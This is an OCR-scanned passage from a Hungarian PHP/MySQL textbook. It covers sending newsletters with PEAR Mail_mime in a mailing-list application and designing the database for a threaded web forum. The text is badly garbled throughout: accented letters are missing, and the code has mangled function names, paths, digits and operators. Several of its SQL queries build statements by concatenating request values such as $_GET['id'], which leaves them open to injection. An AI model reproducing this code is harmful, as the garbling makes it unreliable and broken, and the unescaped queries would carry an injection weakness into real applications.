elsknt megadott fjl adatait a$ _FILES['felhasznaloi_fajl' l ['tmp_name' l [O L a $ _FILES['felhasznaloi

fajl'] ['name'] [O],a$_FILES['felhasznaloi_fajl'] ['size'] [0] sa$_FILES['felhasznaloi_fajl']


['type' l [O l tmbelem tartalmazza.

Ezen a ngy tmbn elvgezzk a szoksos biztonsgi ellenrzseket, majd thelyezzk az llomnyokat az archvumba.
Vgl megjelentnk az adminisztrtornak nhny gombot, amivel klds eltt megtekintheti a feltlttt hrlevl mindkt
verzijt, illetve elkldheti azt. A feltoltes.ph p kimenett a 30.13 brn ltjuk.

510

30.fezet

30.13 bra: A Jeltltsi kd visszajelzst ad a Jeltlttt llomnyokrl s azok mretrl.

30

A hrlevl elnzetnek megtekintse


Az adminisztrtor a klds eltt ktflekppen is megtekintheti a hrlevl elnzett.Ha kzveclenl a fjlok feltltse utn
szeretn ltni az elnzetet, akkor ezt a feltltsi kperny elnzeri funkcijval teheti meg. A msik lehetsg a.Hrlevl
megtekints' gombra kattints, amely a rendszerben lv sszes el nem kldtt hrlevelet fogja megjelenteni; ennek akkor
van ttelme, ha nem kzvetlenl feltlts utn kvnja elkldeni a hrleveleket.A "Hrlevl megtekintse" gomb a
megtekintese t

mveletet hvja meg, amely viszont

az

h irleve1-

albbi kdot hvja meg:

case thirlevel-megtekinteset:
elemek_megjelenitese(tEl nem kldtt hrlevelekt,
elkldetlen_hirlevel lekerese(email lekerese()),
t HTML-elonezetet,

szoveges-elonezetet,

t kuldes

break;

A fenti sorokbl vilgosan ltszik, hogy a kd itt is meghvja az elemek_megjeleni tese ()


a

HTML-elonezete t,

a t szoveges-elonezete t s a

kuldest

fggvnyt, ez alkalommal

mvelethez ksztve el a gombokat.

Figyeljk meg, hogy az elnzet gombokra kattints nem valamilyen mveletet vlt ki: ezek a gombok kzveclenl az arch
vumban lv, megfelel hrlevlre hivatkoznak! Ha visszalapozunk a 30.7 s a 30.16 pldakdhoz, ltni fogjuk, hogy ezeket
a gombokat a szoksos gomb_ megjelenitese () fggvny helyett

az

elonezet _gomb_ megj eleni tese

() fggvnnyel

hozzuk ltre.
A gomb_megjeleni tese() fggvny kp formjban megjelen hivatkozst hoz ltre valamely kdhoz, az elonezet_
gomb_ megjelenitese

() fggvny ugyanakkor az archvumba mutat, egyszer linket llt el. A HTML horgonycmke

(tag) target="new" attribtumnak ksznheterr ez a hivatkozs j ablakban nylik meg. A 30.14 brn egy hrlevl
HTML verzijnak elnzett lthatjuk.

30.14 bra: Egy HTML hrlevl elnzete a kpekkel egytt jelenik meg.

Levelezlista-kezel alkalmazs fejlesztse

511

A hrlevl kikldse
A hrlevelek .. Klds" gombjra kattintva a 'kuldes' mveletet vltjuk ki, amely az albbi kdot futtatja:
case ' kuldes' :
kuldes($_GET [ 'id'],

$ SESSION['admin felhasznalo']);

break;

A kd az mlm_fuggvenyek.php knyvtrban tallhat kuldes ( ) fggvnyt hvja meg. Ebben a hossz, a 30.17 plda

kdban olvashat fggvnyben hasznljuk a Mail_mime osztlyt.


30.17 pldakd: Az mlm fuggvenyek.php
_

knyvtr kuldes() fggvnye- Ez a hrlevelet vgl kikldfggvny

ll a hirlevl ltrehozsa az adatbzisban trolt elemekbl s fjlokbl


ll tesztlevelek kldse az adminisztrtornak

r-

ll vagy igazi hrlevelek kldse a teljes listra


function kuldes($hirleveliD,

$admin_felhasznalo) {

30

if(!admin_felhasznalo_ellenorzese($admin felhasznalo))
return false;

if(! ($info = hirlevel_info_betoltese($hirleveliD)))


echo "<p>Nem sikerlt betlteni a ".$hirleveliD." hrlevlhez tartoz
informcikat.</p>";
return false;

$targy

$info [ 'targy' l ;

$listaiD = $info [ 'listaiD'];


Sallapot
$elkuldve

$info [ 'allapot'];

$info['elkuldve'];

$felado_neve

'Pyramid MLM';

$felado_cime = 'valasz@cim';
$lekerdezes

"SELECT email FROM al listak WHERE listaiD

'".$listaiD."'";

$kapcsolat = adatbazishoz_kapcsolodas();
$eredmeny = $kapcsolat->query($lekerdezes);
if (! $eredmeny) {
echo $lekerdezes;
return false;
else if ($eredmeny->num_rows==0}

echo "<p>Senki nincs feliratkozva a(z) ".$listaiD." szm listra.</p>";


return false;

ll PEAR mail osztlyok beillesztse


include('Mail.php');
include('Mail/mime.php');

ll hozzuk ltre a MIME osztly egy pldnyt,

s adjuk t neki

ll a rendszernk ltal hasznlt kocsi vissza/soremels karaktert!


$uzenet = new Mail_mime("\r\n");

ll olvassuk be a hrlevl szveges vltozatt!


$szoveges_fajl_neve = "archive/".$listaiD."/".$hirleveliD."/szoveg.txt";
$tfp = fopen($szoveges_fajl_neve,

"r");

512

30.fezet

$szoveg

fread($tfp,

files1ze($szoveges fajl_neve));

felcse($tfp);

ll olvassuk be a hrlevl HTML vltozatt!


$HTML_fajl_neve

"archivel".$listaiD."I".$hirleveliD."Iindex.html";

$hfp = fopen($HTML_fajl_neve,
$html = fread($hfp,

"r");

filesize($HTML_fajl_neve));

felcse($hfp);

ll HTML s szveg hozzadsa a mimemail objektumhoz


$uzenet->setTXTBody($szoveg);
$uzenet->setHTMLBody($html);

ll az zenethez kapcsold kpek listjnak lekrse

30

$lekerdezes = "SELECT eleresi_utvonal,

mime_tipus FROM kepek WHERE

hirleveliO = '".$hirlevel!D."'";
$eredmeny = $kapcsolat->query($lekerdezes);

if(! $eredmeny)

echo "<p>Nem sikerlt lekrni az adatbzisbl a kpek listjt.<lp>";


return false;

$num = $eredmeny->num_rows;
for($i = 0;

$i<$num;

$i++)

ll kpek betltse a merevlemezrl


$sor = $eredmeny->fetch_array();
$kep faJl_neve = "archivel$listaiDI$h1rleveliDI".$sor[0];
$kep_tipusa

$sor[l];

ll a kpek hozzadsa az objektumhoz


$uzenet->addHTMLimage($kep_fajl neve,
$kep_fajl_neve,

$kep_tipusa,

true);

ll zenet tartalmnak ltrehozsa


$tartalom = $uzenet->get();

ll zenet fejlcnek ltrehozsa


$felada = '"' .valodi_nev_lekerese($admin_felhasznalo).'" <' .$admin_felhasznalo.'>';
$fejlec_tomb

array(
'Felad' => $felada,
'Trgy' => $targy);

$fejlecek = $uzenet->headers($fejlec tomb);

ll a tnyleges kldobjektum ltrehozsa


$kuldo =&

Mail::factory('mail');

if($allapot == 'TAROLT')

ll HTML zenet elkldse az adminisztrtornak


$kuldo->kuldes($admin_felhasznalo,

$fejlecek,

$tartalom);

ll az zenet egyszer szveges vltozatnak kldse az adminisztrtornak


mail($admin_felhasznalo,

$targy,

$szoveg,

'Felad: "'

Levelezlista-kezel alkalmazs fejlesztse

513

.valodi nev_lekerese($admin_ felhasznalo) '" <'.$admin_felhasznala.'>');


echo "zenet elkldve a(z) ".$admin_felhasznalo." cmzettnek";

ll a hrlevl megjellse teszteltknt


$lekerdezes = "UPDATE hirlevele SET allapot = 'TESZTELT' WHERE
hirleveliO = '".$hirleveliD."'";
$eredmeny = $kapcsolat->query($lekerdezes);

echo "<p>A teljes levelezlistnak val kldshez kattintson jra a Klds gombra!
<div align=\"center\">";
gomb_megjelenitese('kuldes',

'&id='.$hirleveliD);

l'

echo "<ldiv></p>";

else if($allapot ==

30

'TESZTELT')

ll klds a teljes listnak

$lekerdezes

"SELECT felhasznalok.valodi_nev,

al_listak.email,

felhasznalok.mime tipus
FROM al_listak,

felhasznalak

WHERE listaiD = $listaiD and


al listak.email = felhasznalok.email";

$eredmeny = $kapcsolat->query($lekerdezes);
if(! $eredmeny)

echo "<p>Hiba a feliratkezottak listjnak lekrsekor<lp>";

$szamlalo = O;
ll minden feliratkozottnak
while ($felhasznalo = $eredmeny->fetch row ())
if($felhasznala[2]=='H')

ll HTML verzi kldse az azt kr felhasznlknak


$kuldo->kuldes($felhasznalo[l],
else

$fejlecek,

$tartalom);

ll szveges verzi kldse a nem HTML hrlevelet krknek


mail($felhasznalo[l],

$targy,

'Felad:

$szoveg,

"' .valodi_nev_lekerese($admin felhasznalo).'"

<'.$admin felhasznalo.'>');

$szamlalo++;

$lekerdezes = "UPDATE hirlevel SET allapot = 'ELKULDOTT',


WHERE hirleveliO = '".$hirleveliD."'";
$eredmeny = $kapcsolat->query($lekerdezes);
echo "<p>sszesen $szamlalo hrlevelet kldtnk ki.<lp>";
else if ($allapot == 'ELKULDOTT')

echo "<p>A hrlevelet mr kikldtk.<lp>";

kuldve

now()

514

30. fejezet

A fggvny szmos dolgot tesz. Klds eltt tesztlevlben elkldi az adminisztrtornak a hrlevelet, s a hrlevl llapott
az adatbzisban nyomon kvetve feljegyzi, hogy a teszt megtrtnt. Amikor a feltltkd feltlt egy hrlevelet, "TAROLT"-ra
lltja annak llapott.
Ha akuldes () fggvny azt llaptja meg, hogy valamely hrlevlnek "TAROLT" az llapota, "TESZTELT"-re mdostja, s
elkldi az adminisztrtornak a tesztzenetet. A "TES Z TELT" llapot azt jelzi, hogy a hrlevl tesztzenetknt el lett kldve az admi
nisztttomak. Ha az llapot mr "TES z TELT", akkor "ELKULDOTT" -re vltozik, amint a hrlevelet a teljes levelezlistra kikldtk
Ez rtelemszeren azt jelenti, hogy minden egyes hrlevelet ktszer fogunk elkldeni: egyszer teszt mdban, egyszer pedig lesben.
A fggvny radsul krfle e-mailt kld: a szveges verzit a PHP mail () fggvnyvel, illetve a HTML verzit
a Mail_mime osztllyal. A mail() fggvnnyel mr tbbszr tallkezrunk a knyvben, ezrt nzzk meg most azt, hogyan
hasznljuk a Mail_mime osztlyt! Nem fogjuk teljes kren bemutatni ezt az osztlyt, inkbb csak elmagyarzzuk, hogyan
hasznltuk ebben a viszonylag tipikus alkalmazsban.
Azzal kezdjk, hogy beillesztjk az osztlyfjlokat, majd ltrehozzuk a Mail_mime osztly egy pldnyt:
ll PEAR mail osztlyok beillesztse
include('Mail.php');

30

include('Mail/mime.php');

ll hozzuk ltre a MIME osztly egy pldnyt,

s adjuk t neki

ll a rendszernk ltal hasznlt kocsi vissza/soremels karaktert!


$uzenet = new Mail_mime("\r\n");

Lthatjuk, hogy kt osztlyfjl lett itt beillesztve. A PEAR ltalnos Mail osztlyt a kd ksbbi rszben, a hrlevl tny
leges elkldsre fogjuk hasznlni. Ez az osztly benne tallhat PEAR-teleptsnkben.
A Mail_mime osztlyt az elkldeni kvnt, MIME formtum zenet ltrehozsra fogjuk hasznlni.
Ezt kveten beolvassuk a hrlevl szveges s HTML verzijt, majd hozzadjuk a Mail_mime osztlyhoz:
ll olvassuk be a hrlevl szveges vltozatt!
$szoveges faJl_neve = "archive/".$listaiD."/".$hrleveliD."/szoveg.txt";
$tfp

fopen($szoveges fajl_neve,

$szoveg = fread($tfp,

"r");

filesize($szoveges fajl_neve));

felcse($tfp);

ll olvassuk be a hrlevl HTML vltozatt!


$HTML fajl neve = "archive/".$lstaiD."/".$hirleveliD."/index.html";
$hfp

fopen($HTML_fajl_neve,

$html = fread($hfp,

"r");

filesize($HTML_fajl_neve));

felcse($hfp);

ll HTML s szveg hozzadsa a mimemail objektumhoz


$uzenet->setTXTBody($szoveg);
$uzenet->setHTMLBody($html);

Ezutn betltjk az adatbzisbl a kpadatokat, s ciklussal vgiglpkednk rajruk, hozzadva a kpeket a kldeni kvnt
hrlevlhez:
$num = $eredmeny->num_rows;
for($i = 0;

$i<$num;

$i++)

ll kpek betltse a merevlemezrl


$sor = $eredmeny->fetch_array();
$kep_fajl neve = "archive/$listaiD/$hirleveliD/".$sor[0];
$kep_tipusa = $sor[l);

ll a kpek hozzadsa az objektumhoz


$uzenet->addHTMLimage($kep_fajl neve,

$kep_tipusa,

$kep_fajl_neve,

true);

Az addHTMLimage () fggvnynek radott paramterek sorrendben: a kpfjl neve (illetve tadhatjuk a kpadatot is),
a kp MIME tpusa, a fjlnv jra, illetve a true rtk, ami azt jelzi, hogy az els paramter fjlnv volt, nem pedig fjladat.
(Ha nyers kpadatot szetetnnk tadni, akkor a paramterek sorrendben: a kpadat, a MIME tpus, egy res paramter s vgl
a false rtk lenne.) A paramterek hasznlata egy ks odafigyelst ignyel.
Ennl a pontnl, az zenet fejlcnek elksztse eltt kell ltrehozni az zenet tartalmr. Ezt a kvetkezkppen tesszk
meg:

Levelezlista-kezel alkalmazs fejlesztse

515

ll zenet tartalmnak ltrehozsa


$tartalom = $uzenet->get();

Ezt kveten a Mail_mime osztly headers(l fggvnyt meghvva hozzuk ltre az zenet fejlct:
ll zenet fejlcnek ltrehozsa
$felada =

'"' .valodi_nev_lekerese($admin_felhasznalo). '"

<'

.$admin_felhasznalo.'>';

$fejlec_tomb = array(
'Felad' => $felada,
'Trgy' => $targy);

Vgl, rniutn elksztettk az zenetet, elkldhetjk Ehhez ltre kell hozni a PEAR Mail osztlynak egy pldnyt,
amelynek tadhatjuk a ltrehozott zenetet. Els lpsknt ltrehozzuk az osztlypldnyt:
ll a tnyleges kldobjektum ltrehozsa
$kuldo =& Mail::factory('mail');

(Az itt hasznlt 'mail' paramter pusztn kzli a Mail osztllyal, hogy a PHP mail() fggvnyvel kldje az zenete
ket. A paramterben hasznlhatnnk mg a 'sendmail' s az 'smtp' rtket is.)
Ezutn elkldjk a hrlevelet minden feliratkozott felhasznlnak. Ehhez ciklus segtsgvel vgiglpkednk a levelezlistra
feliratkozott minden felhasznln, majd az ltaluk kivlasztott MIME tpusnak megfelelen meghvjuk a ku ldes () vagy a ha
gyomnyos mail (l fggvnyt:
{

if($felhasznalo[2]=='H'l

ll HTML verzi kldse az azt kr felhasznlknak


$kuldo->kuldes($felhasznalo[l],
else

$fejlecek,

$tartalom);

ll szveges verzi kldse a nem HTML hrlevelet krknek


mail($felhasznalo[l],

$targy,

$szoveg,

'Felad: "'.valodi_nev_lekerese($admin_felhasznalo). '"


<'

.$admin felhasznalo.'>');

A $kuldo->kuldes(l els paramtere a felhasznl e-mail cme, a msodik a fejlc, a harmadik pedig az zenet tartalma
kell, hogy legyen.
Kszen is vagyunk! Ezzel befejeztk a levelezlista-kezel alkalmazs ltrehozst.

A projekt tovbbfejlesztse
Akrcsak a korbbi projekteknl, itt is elmondhat, hogy sokflekppen bvthetjk az alkalmazs funkciit. Gondoljuk vgig
a kvetkez lehetsgeket:
Krjnk visszaigazolst a feliratkozsrl, hogy beleegyezse nlkl senkit ne lehessen a levelezlistkra feliratnil Ezt
ltalban a felhasznJk e-mail cmre kldtt visszaigazol zenettel lehet megvalstani: ha valaki nem vlaszol erre az
e-mailre, akkor nem rjuk fel az adott listra. Ezzel a mdszerrel arra is fny derlhet, ha valakinek hibsan kerlt be az
e-mail cme az adatbzisba.
Adjuk meg az adminisztrtornak a lehetsget, hogy jvhagyja vagy elutastsa a felhasznJk feliratkozsi krst!
Tegyk nyltt a levelezlistkat, vagyis engedjk meg azt, hogy brmelyik tag kldhessen zenetet a listra!
Csak a regisztrlt tagoknak tegyk elrhetv a levelezlistk archvumt!
Teremtsle meg a felhasznlknak a levelezlistk kztti keress lehetsgt! Egyes felhasznlkat pldul csak a golffal
kapcsolatos hrlevelek rdekelhetile Amikor a hrlevelek szma bizonyos rtket elr, hasznoss vlik a kzttk val
keress lehetsge.
Tegyk az alkalmazst hatkonyabb, hogy nagy levelezlistkat is kpes legyen kezelni! Ehhez vegynk ignybe olyan
levelezlista-kezelt, rnint pldul az ezmlm, amely tbbszl mkdssel kpes az zeneteket vrakozsi sorba helyezni
s kikldeni! Nem igazn lesz hatkony, ha a mail (l fggvnyt sokszor meghvjuk PHP-ben, ezrt sok taggal br
levelezlistk esetn a PHP nem lesz alkalmas a httrmunkra. A levelezlista fellett ettl fggedenill fejleszthetjk
PHP-ben, de a munka tbbi rszt hagyjuk meg az ezmlm-nek!

Hogyan tovbb
A kvetkez fejezetben olyan webes frumot fejlesztnk, ahol a felhasznJk klnbz tmkban folytathatnak online eszme
csert, illetve oszthatjk meg gondolataikat egymssal.

30

31
Webes frum fejlesztse
Kivl mdszer oldalunk ltogatottsgnak nvelsre, ha felhasznli frumct mkdtetnk. A frumok tbbfle clt szol
glhatnak: lehetnek egyszeren vitafrumok, ahol a tagok megosztjk s megbeszlik egymssal az adott tmrl kialakult
vlemnyket, de ugyangy akr mszaki termktmogats cljra is alkalmasak. Az elttnk ll fejezetben PHP-ben fejlesz
tnk webes frumot. A sajt program fejlesztsnek lehetsges alternativja egy meglv programcsomag, pldul a Phorum
alkalmazsa.
A webes frumok (amiket angolul

webforum, illetve discussion board vagy threaded discussion group nven is szoks emleget

ni) gy mkdnek, hogy valaki adott tmt elindt hozzszlst r, vagy valamilyen krdst tesz fel, amit msok elolvasharnak
s megvlaszolhatnak, illetve hozzszlsaikban kifejthetik a vlemnyket. A frumban tallhat klnbz"beszlgetseket"
tmknak (topikoknak) nevezzk.
Projektnkben a blah-blah nev webes frumct fogjuk ltrehozni. Felhasznlinak lehetv tesszk, hogy
els hozzszlst vagy posztot rva j tmt kezdjenek,
megrekintsk a korbbi hozzszlsokat,
vlaszoljanak a korbbi hozzszlsokra,

megrekintsk az egyes tmkon bell a "beszlgetsek fonalait';


megjelentsk a hozzszlsok kztti kapcsolatot - vagyis lssk, hogy az egyes hozzszlsok melyik korbbi hozz
szlsea vlaszolnak.

Gondoljuk vgig a feladatot!


Egy frum ltrehozsa meglehetsen rdekes feladat. Valahogyan el kell trolnunk adatbzisban a hozzszlsokat gy, hogy
a

szerzjket, cmket, idpontjukat s tartalmukat is feljegyezzk. Els pillantsra ez nem sokban klnbzik a Book-O

Rama adatbzistL
A frumkezel alkalmazsok tbbsge azonban gy mkdik, hogy a meglv hozzszlsokon tlmenen a kzttk
fennll kapcsolatot is kpesek megjelenteni. Ez azt jelenti, hogy lthatjuk, hogy mely hozzszlsok vlaszolnak korbbiakra
(s melyik hozzszlsbl indulnak ki), s melyek azok a hozzszlsok, amelyek j tmt indtanak. Sok helyen ltharunk gy
mkd frumot, pldaknt emltsk meg a Slashdot frumt, ami a http:/ /slashdot.org cmen rhet el!
rdemes alaposan vgiggondolni, hogyan kvnjuk megjelenteni ezeket a kapcsolatokat. Rendszernk felhasznlinak le
hetv kell tenni, hogy megrekinthessenek egy adott hozzszlst, egy ltaluk kivlasztott tmt - ami radsul a benne lv
hozzszlsok kztti kapcsolatokat is megjelenti -, illetve a rendszerben elrhet sszes topikot. A felhasznlknak rudniuk
kell j tmt indtani, illetve korbbi hozzszlsokra vlaszolni. Ez lesz a feladarunk legknnyebb rsze.

A megolds alkotelemei
Ahogy mr jeleztk, az egyes hozzszlsok szerzjnek s szvegnek eltrolsa, illetve visszakeresse egyszer dolog. Az
alkalmazs legnagyobb kihvsa egy olyan adatbzis-szerkezer kigondolsa, amely kpes trolni a kvnt informcit, illetve
megtallni
a

az

ebben a szerkezetben hatkony navigcit jelent mdszert. A hozzszlsok szerkezete egy adott tmn bell

31.1 brn lthathoz hasonl.

518

3l.fezet

Reply l

Reply

l to Reply l

Reply 2 to Reply l

Reply

Reply 2

Reply 3

31.1 bra: Egy frum

l to Reply 3

hozzszlsa lehet j tma els hozzszlsa, de ennl gyakoribb, hogy korbbi hozzszlsra adott vlasz.

Az brbl ltszik, hogy a tmt a legels hozzszls indtja, amire vlaszu! hrom hozzszlst rtak.Ezek kztt is van

olyan hozzszls, amelyre vlaszoltak. Ezekre a vlaszokra is rkezhetnek tovbbi vlaszok, s gy tovbb.
Az brra nzve mr sejthegk, hogy miknt rdemes eltrolni, illetve visszakeresni a hozzszlsok adatait s a hozzsz

lsok kztti kapcsolatokat.Az brnJastruktrt lthatunk. A tapasztalt programozk tudjk, hogy ez az egyik leggyakrabban
hasznlt adatszerkezet.Az brn csompontokat

vagyis hozzszlsokat -s a hozzszlsok kztti kapcsolatokat ltunk;

pontosan gy, mint brmely fastruktrban.(Akkor sem rdemes aggdni, ha nem ismerjk a ft mint adatstruktrt: az ala
pokat tvesszk majd, ahogy haladunk elre a frum fejlesztsvel.)

31

Ahhoz, hogy mindez jl mkdjn:


tallnunk kell egy megfelel mdszert arra, hogy a fastruktrt lekpezzk a trolsra -jelen esetben egy MySQL adat
bzisba;

meg kell tallnunk a mdjt, hogy szksg esetn rekonstruljuk az adatokat.

Projektnknek gy kezdnk neki, hogy lttehozzuk a hozzszlsok trolsra szolgl MySQL adatbzist. Ezt kveten
egyszer felhasznli felleteket ksztnk, amelyek a hozzszlsok mentst teszik lehetv.
Amikor berltjk a megtekintend hozzszlsok listjt, rninden egyes hozzszls fejlcr berltjk egy cs omopont
nev PHP osztlyba.Minden csomopont objektum egy hozzszls fejlct, illetve az arra a hozzszlsta adott vlaszok
halmazr fogja tartalmazni.
A vlaszokat tmbben fogjuk trolni. Minden vlasz nmagban is egy csomopont lesz, ami az adott hozzszlsta adott
vlaszok tmbjt tartalmazza, amelyek megint csak csomopont objektumok lesznek, s gy tovbb.Ez a folyamat addig tart,
amg el nem rjk a fa gynevezett levl csompontjait (leaf node), azokat a csompontokat, amelyekre mr nincsen vlasz.Ek
kor a 31.1 brn lthathoz hasonl fastruktrt kapunk.
Jjjn most egy kis terminolgia! A hozzszlst, amire vlaszolunk, az aktulis csompont szl csompongnak nevez
hegk. Egy hozzszlsta rt brmely vlasz az aktulis csompont gyermeke. Ha csaldfaknt kpzeljk el ezt a fastruktrt,
akkor knnyebb lesz megjegyezni ezeket a kifejezseket.A fasttuktra els hozzszlst, amelynek nincsen szlje, szoks

gykr csompontnak (root) is nevezni.

Megjegyzs:Kicsit furcsn hangozhat, hogy az els hozzszlst gykrnek nevezzk, mivel a gykr csompontot ltalban
az ilyen brk tetejre rajzoijuk, az igazi fk gykerei pedig lenn, a talajban helyezkednek eL
A projekthez szksges fasttuktra ltrehozshoz s megjelentshez rekurzv fggvnyeker fogunk rni.(A rekurzirl

a Kd tbbszriJelhasznlsa s fggvnyrs cm 5.fejezerben esett sz.)


gy tltk meg, hogy rdemes osztlyt hasznlni ehhez a struktrhoz, mert ez a legegyszerbb mdja az alkalmazs ltal
ignyelt sszetett, dnamikusan bvl adatszerkezet ltrehozsnak. Ez egyttal azt is jelenti, hogy viszonylag egyszer, ele
gns kddal fogunk valami meglehetsen sszetett dolgot elrni.

A megolds ttekintse
Hogy jobban megrtsk a projekret, rdemes vgigvenni a kdjt, amit rvidesen meg is tesznk.Az alkalmazs a korbbiaknl
kevesebb, m valarnivel bonyolulrabb kdbl ll ssze.
Az alkalmazs mindssze hrom oldalbl ll. Az egyik egy f indexoldal, ami az egyes tmkra viv hivatkozsokknt mu
tatja a frum sszes tmjt. Ezen az oldalon j tmt indrhatunk, megtekinthetjk a listban szerepl tmkat, illetve a fan
zet gait kibontva s sszezrva megvltoztathaguk az egyes tmk nzett. (Errl hamarosan bvebben beszlnk majd.)

Webes frum fejlesztse

519

Az egy adott tmt megjelent oldalon hozzszlhatunk a tmhoz, illetve megtekinthetjk a korbbi hozzszlsokat. Az

j tma oldalon j topikor indthatunk, amelynek tmaindt hozzszlsa lehet vlasz egy korbbi hozzszlsra, illetve lehet
j, a korbbi hozzszlsoktl fggetlen zenet.
A rendszer folyamatbrjt a 31.2 brn lthatjuk.
Article list

View an article

31.2 bra: A

reply

l Add a new article

blah-blahfrumrendszer hrom rszbl ll.

Az alkalmazs fjljait a 31.1 tblzat mutatja.


31.1 tblzat: A

webesfrumalkalmazsfjijai

Nv

Tpus

Lers

index.php

Alkalmazs

A nyitlap, amit a felhasznlk az oldal behvsakor


ltnak. Az oldalon tallhat frumtmk kibonthat s
sszecsukhat listjt tartalmazza.

uj_hozzaszolas.php

Alkalmazs

j tma indtsra szolgl rlap.

uj_hozzaszolas_tarolasa.php

Alkalmazs

Az oldal, ahol az uj_ hozzaszolas. php rlap tmain


dt hozzszlsait troljuk.

hozzaszolas_megtekintese.php

Alkalmazs

Az egyes tmkat, illetve az azokhoz rt hozzszlsokat


megjelent oldal.

csomopont_osztaly.php

Knyvtr

A hozzszlsok hierarchijnak megjelentsre hasz


nlt csomopont osztlyt tartalmaz fjl.

beillesztett_fuggvenyek.php

Knyvtr

Az alkalmazs fggvnyknyvtrainak listja (a tblzat

adat_ellenorzo_fuggvenyek.php

Knyvtr

Az adatellenrz fggvnyek gyjtemnye.

adatbazis fuggvenyek.php

Knyvtr

Az adatbzishoz csatlakozsta hasznlt fggvnyek gyj


temnye.

forum_fuggvenyek.php

Knyvtr

A hozzszlsok trolsra s visszakeressre hasznlt


fggvnyek gyjtemnye.

kimeneti_fuggvenyek.php

Knyvtr

A HTML kimenetet elllt fggvnyek gyjtemnye.

adatbazis letrehozasa.sql

SQL

Az alkalmazshoz szksges adatbzist ltrehoz SQL


kd.

ezeket a knyvtr tpus fjlokat is tartalmazza).

Nzzk meg vgre az alkalmazs megvalstst!

Az adatbzis megtervezse
A frumhoz rt minden hozzszls esetn a kvetkez attribtumokat kell eltrolnunk: a hozzszl nevt, a hozzszls

cmt, rsnak dtumt s magt a szveget. Ezrt hozzszlsok tbljra lesz szksgnk, s minden egyes hozzszlshoz
ltre kell hozni egy hozzaszolas I D nev, egyed azonostt.
Az sszes hozzszlsnl tisztban kell lenni azzal, hogy a hierarchin bell hol helyezkedik el. Az egyes hozzszlsok
gyermekeire vonatkoz informcit eitroihatnnk akr az adott hozzszlssal egytt, m ez a fajta trolsi md elbb-utbb
problmkat okozna az adatbzis felptsben. Mivel minden hozzszls csak egy korbbi hozzszlsta rt vlasz lehet,
egyszerbb a dolgunk, ha a szl hozzszlsra mutat hivatkozst troljuk-vagyis azt, hogy melyik hozzszlsra vlaszol.
A fentiekbl kvetkezen az albbi adatokat kell minden egyes hozzszls esetn feljegyezni:
hozzaszolasiD
szulo

-A hozzszls e!f,edi azonostja

-A szl hozzszls hozzaszolasiD-ja

31

520

31.fezet

hozzaszolo
eim

-A hozzszls szerzje

-A hozzszls cme
-A hozzszls rsnak dtuma s ideje

idopont
uzenet

-A hozzszls tartalma

Nmikppen optimalizlni szksges a hozzszlsokrl eltrolt informcikat.


Amikor azt prbljuk meg megllaptani, hogy valamely hozzszlshoz tartozik-e vlasz, lekrdezst kell futtami, hogy
lssuk, lteznek-e olyan hozzszlsok, amelyeknek az adott hozzszls a szlje. Erre az informcira a megjelenteni k
vnt sszes hozzszls esetn szksgnk van. Minl kevesebb lekrdezst kell vgreh:ytanunk, annl gyorsabban fog futni
a kdunk. Szksgcelenn tehetjk ezeket a lekrdezseket, ha hozzadunk a tblhoz egy olyan oszlopot, amely jelzi, hogy az
adott hozzszlsra rdrak-e vlaszok. Hvjuk ezt a mezt gyermek-nek, s tegyk lnyegben Boole-i vltozv: rtke l
lesz, ha a csompontnak vannak gyermekei, s O (nulla), ha nincsenek.
Az optimalizlsnak szinte mindig ra van. Jelen esetben ez redundns adatok trolsban jelentkezik. Mivel ktfelekppen
troljuk az adatokat, gyelnnk kell, hogy a ktfle mdszer mindig sszhangban legyen egymssal. Gyermek hozzadsakor
mdostanunk kell a szlt is. Ha megengedjk a gyermekek, vagyis a vlaszknt rt hozzszlsok trlst, az adatbzis kon
zisztenci:ija rdekben a szl csompontot is frissteni kell. Projektnkben nem teremgk meg a hozzszlsok trlsnek
lehetsgt, gy a lehetsges problmk ezen felt kzrruk. Ha azonban brmikor gy dntnk, hogy tovbbfejlesztjk ezt az
alkalmazst, ne feledkezznk meg errl a krdsrl!
Mg egy tovbbi, az optimalizlst szolgl lps szksges: elvlasztjuk a hozzszlsok szvegt a tbbi adattl, s kln
tblban troljuk. Ennek az az oka, hogy a hozzszlsok ezen attribtumnak MySQL-tpusa text, azaz szveg lesz. Az,
hogy valamely tblzat szveg tpus mezvel rendelkezik, lelassthaga a tbln futtatott lekrdezseket. Mivel a fastruhra

31

ltrehozshoz rengeteg apr lekrdezst kell majd vgrehajtani, ilyen tpus mez esetn igencsak lelassulna az alkalmazs.
A hozzszlsok tartalmnak kln tblban trolsval megtehetjk, hogy csak akkor keressk vissza azokat, amikor a fel
hasznl meg kvnja jelenteni az adott zeneteket.
A rgztett mret rekordokban a MySQL gyorsabban rud keresni, mint a vltoz mretekben. Ha vltoz mret adato
kat kell hasznlnunk, rdemes ezekhez a mezkhz indexeket ltrehozni, s azok segtsgvel keresni az adatbzisban. Egyes
projekteknl azzal jrunk a legjobban, ha a szveges mezt ugyanabban a tblban hagyjuk, mint minden mst, s indexeket
llrunk el azokon az oszlopokon, amelyekre keresni fogunk. m az indexek ellltshoz is idre van szksg, s mvel a f
rumban lv adatok minden bizonnyal llandan vltoznak, jra s jra el kellene lltani az indexeket.
Egy

terulet

nev attribrumot is hozzadunk a tblhoz; erre akkor lesz szksg, ha a ksbbiekben gy dntnk, hogy

ezzel az egy alkalmazssal tbb tmakrben szeretnnk fruroot mkdtetni. Projektnkben ezt nem hasznljuk k, de a jv
re nzve megreremgk a lehetsgt.
A frumhoz (a fenti megfontolsok figyelembe vtelvel) szksges adatbzist a 31.1 pldakdban tallhat SQL kd lltja
el.
31.1 pldakd:

adatbazis_letrehozasa.sql- A frum adatbzist ltrehoz SQL kd

CREATE DATABASE

USE

forum;

forum;

CREATE TABLE

fejlee

szulo INT NOT NULL,


hozzaszolo CHAR(20)
eim CHAR(20)

NOT NULL,

NOT NULL,

gyermek INT DEFAULT 0 NOT NULL,


terulet INT DEFAULT l NOT NULL,
datum DATETIME NOT NULL,
hozzaszolasiD INT UNSIGNED NOT NULL AUTO INCREMENT
);

CREATE TABLE tartalom


(
hozzaszolasiD INT UNSIGNED NOT NULL PRIMARY KEY,

PRIMARY KEY

Webes frum fejlesztse

521

uzenet TEXT

GRANT SELECT,

INSERT,

UPDATE,

DELETE

ON forum.*
TO forum@localhost IDENTIFIED

BY

'jelszo';

Az adatbzis-szerkezer ltrehozshoz futtassuk a fenti kdot MySQL-ben:


mysql

-u root

-p <

adatbazis letrehozasa.sql

Meg kell adnunk root jelszavunkat, illetve rdemes lehet a frum felhasznlja szmra bellrorr jelszr valami megfele
lbbre vlrozratni.
